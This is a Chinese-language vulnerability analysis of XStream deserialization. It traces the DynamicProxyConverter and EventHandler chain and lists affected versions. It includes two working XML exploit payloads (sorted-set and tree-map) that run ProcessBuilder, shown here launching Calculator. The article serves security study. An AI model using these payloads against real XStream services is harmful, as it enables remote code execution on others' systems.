XStream反序列化

XStream反序列化

XStream简介

XStream是一个简单的基于Java库,Java对象序列化到XML,反之亦然(即:可以轻易的将Java对象和xml文档相互转换)。

反序列化基本原理

XStream实现了一套序列化和反序列化机制,核心是通过Converter转换器来将XML和对象之间进行相互的转换,XStream反序列化漏洞的存在是因为XStream支持一个名为DynamicProxyConverter的转换器,该转换器可以将XML中dynamic-proxy标签内容转换成动态代理类对象,而当程序调用了dynamic-proxy标签内的interface标签指向的接口类声明的方法时,就会通过动态代理机制代理访问dynamic-proxy标签内handler标签指定的类方法;利用这个机制,攻击者可以构造恶意的XML内容,即dynamic-proxy标签内的handler标签指向如EventHandler类这种可实现任意函数反射调用的恶意类、interface标签指向目标程序必然会调用的接口类方法;最后当攻击者从外部输入该恶意XML内容后即可触发反序列化漏洞、达到任意代码执行的目的。

当然在这之前简单介绍几个重要的小知识

EventHandler类

EventHandler类是实现了InvocationHandler的一个类,设计本意是为交互工具提供beans,建立从用户界面到应用程序逻辑的连接

EventHandler类定义的代码如下,其含有target和action属性,在EventHandler.invoke()->EventHandler.invokeInternal()->MethodUtil.invoke()的函数调用链中,会将前面两个属性作为类方法和参数继续反射调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public static Object invoke(Method var0, Object var1, Object[] var2) throws InvocationTargetException, IllegalAccessException {
try {
return bounce.invoke((Object)null, var0, var1, var2);
} catch (InvocationTargetException var5) {
Throwable var4 = var5.getCause();
if (var4 instanceof InvocationTargetException) {
throw (InvocationTargetException)var4;
} else if (var4 instanceof IllegalAccessException) {
throw (IllegalAccessException)var4;
} else if (var4 instanceof RuntimeException) {
throw (RuntimeException)var4;
} else if (var4 instanceof Error) {
throw (Error)var4;
} else {
throw new Error("Unexpected invocation error", var4);
}
} catch (IllegalAccessException var6) {
throw new Error("Unexpected invocation error", var6);
}
}

Converter转换器

XStream为Java常见的类型提供了Converter转换器。转换器注册中心是XStream组成的核心部分。

转换器的职责是提供一种策略,用于将对象图中找到的特定类型的对象转换为XML或将XML转换为对象。

简单地说,就是输入XML后它能识别其中的标签字段并转换为相应的对象,反之亦然。

转换器需要实现3个方法:

  • canConvert方法:告诉XStream对象,它能够转换的对象;
  • marshal方法:能够将对象转换为XML时候的具体操作;
  • unmarshal方法:能够将XML转换为对象时的具体操作;

具体参考:http://x-stream.github.io/converters.html

POC分析

当然基本的demo还是要给一个

1
2
3
4
5
6
7
public class Test {
public static void main(String[] args) throws Exception{
FileInputStream fileInputStream = new FileInputStream("payload.txt");
XStream xStream = new XStream(new DomDriver());
xStream.fromXML(fileInputStream);
}
}

1.sorted-set

影响版本

1.4.5,1.4.6,1.4.10

分析

经典调用计算器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<sorted-set>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>open</string>
<string>-na</string>
<string>Calculator</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>

现在我们来对流程进行追踪,在AbstractTreeMarshallingStrategy.unmarshal()函数中,调用了TreeUnmarshaller.start()函数,即开始解析XML

我们直接从com.thoughtworks.xstream.core.TreeUnmarshaller#start开始

发现会调用HierarchicalStreams.readClassType()来获取到PoC XML中根标签的类类型

最终在com.thoughtworks.xstream.mapper.ClassAliasingMapper#realClass找到了java.util.SortedSet

接着是调用convertAnother()函数对java.util.SortedSet类型进行转换,我们跟进去该函数,其中调用mapper.defaultImplementationOf()函数来寻找java.util.SortedSet类型的默认实现类型进行替换,这里转换为了java.util.TreeSet类型

接着看到调用converterLookup.lookupConverterForType()来寻找TreeSet对应类型的转换器,可以看到这里的逻辑是,迭代this.converters,直到找到能转换出TreeSet类型

往下调试,在AbstractReferenceUnmarshaller.convert()函数中看到,会调用getCurrentReferenceKey()来获取当前的Reference键即标签名,接着将当前标签名压入parentStack栈中

之后调用其父类即的FastStack.convert()方法,跟进去,显示将类型压入栈,然后调用转换器TreeSetConverter的unmarshal()方法

往下调试,his.treeMapConverter.populateTreeMap()看英文名就能知道是填充TreeMap,跟进这里先判断是否是第一个元素,是的话就调用putCurrentEntryIntoMap()函数,即将当前内容填充到Map中

跟进去,发现调用readItem()函数读取标签内的内容并缓存到target这个Map中

跟入,一直到com.thoughtworks.xstream.mapper.CachingMapper#realClass,现在他就会去寻找这个dynamic-proxy所对应的类

最后找到这个类

接下来回到com.thoughtworks.xstream.core.TreeUnmarshaller#convertAnother(java.lang.Object, java.lang.Class, com.thoughtworks.xstream.converters.Converter),找到这个动态代理类的转换器

接下来还是调用getCurrentReferenceKey()来获取当前的Reference键即标签名,接着将当前标签名压入parentStack栈中

之后一直到这里最重要的部分com.thoughtworks.xstream.converters.extended.DynamicProxyConverter#unmarshal,这里按标签内容生成对应接口的动态代理,此时这个DUMMY是一个空的代理实现

继续往下执行handler = (InvocationHandler)context.convertAnother(proxy, handlerType);,接下来转换器转换最终得到EventHandler

接下来替换代理

之后再回到之前的com.thoughtworks.xstream.converters.collections.TreeMapConverter#populateTreeMap,这里会把结果把存到result

最终

调用到java.beans.EventHandler#invokeInternal,之后用反射调用ProcessBuilder的start方法触发命令执行

其他说明

在小于等于1.3.1版本,运行报错显示TreeMap没有包含comparator元素,即不支持PoC中两个子标签元素调用compareTo()进行比较,因此无法利用

在1.4-1.4.5版本无法触发的原因

在TreeSetConverter.unmarshal()中,只有当sortedMapField和treeMap不为null时,才能进入populateTreeMap()

而在1.4-1.4.4版本中,sortedMapField默认为null,因此无法成功利用,这里以1.4.4版本为例

在1.4.7-1.4.9版本中,ReflectionConverter.canConvert()函数中添加了对EventHandler类的过滤

2.tree-map

适用范围

版本<=1.4.6或=1.4.10

分析

和sorted-map差不多,直接给payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<tree-map>
<entry>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>open</string>
<string>-na</string>
<string>Calculator</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
<string>good</string>
</entry>
</tree-map>

其他说明

唯一与sorted-set有点区别的地方就是,在com.thoughtworks.xstream.converters.collections.TreeMapConverter#unmarshal,可以看到没有TreeSetConverter那么多的限制

在<=1.3.1版本的当中

会报错显示TreeMap没有包含comparator元素,即不支持PoC中两个子标签元素调用compareTo()进行比较,因此无法利用

在1.4.7-1.4.9版本,ReflectionConverter.canConvert()函数中添加了对EventHandler类的过滤

参考文章

https://paper.seebug.org/1543/#_1